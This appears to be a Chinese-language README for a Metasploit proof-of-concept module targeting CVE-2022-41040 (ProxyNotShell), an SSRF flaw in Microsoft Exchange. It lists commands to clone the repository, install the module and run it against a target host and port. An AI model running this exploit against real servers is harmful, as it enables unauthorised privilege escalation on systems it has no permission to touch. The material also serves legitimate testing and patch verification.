关于 CVE-2022-41040 的 metasploit 脚本(POC)。Microsoft Exchange 存在服务器端请求伪造 (SSRF) 漏洞。经过身份验证的攻击者可以利用该漏洞提升权限。
git clone https://github.com/TaroballzChen/CVE-2022-41040-metasploit-ProxyNotShell
cd CVE-2022-41040-metasploit-ProxyNotShell
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp microsoft_exchange_server_proxynotshell_ssrf.py ~/.msf4/modules/auxiliary/scanner/http/
chmod +x ~/.msf4/modules/auxiliary/scanner/http/microsoft_exchange_server_proxynotshell_ssrf.py
msfconsole
set rhosts <vuln ip/host>
set rport <vuln port>
set rssl <default: true for https>
exploit
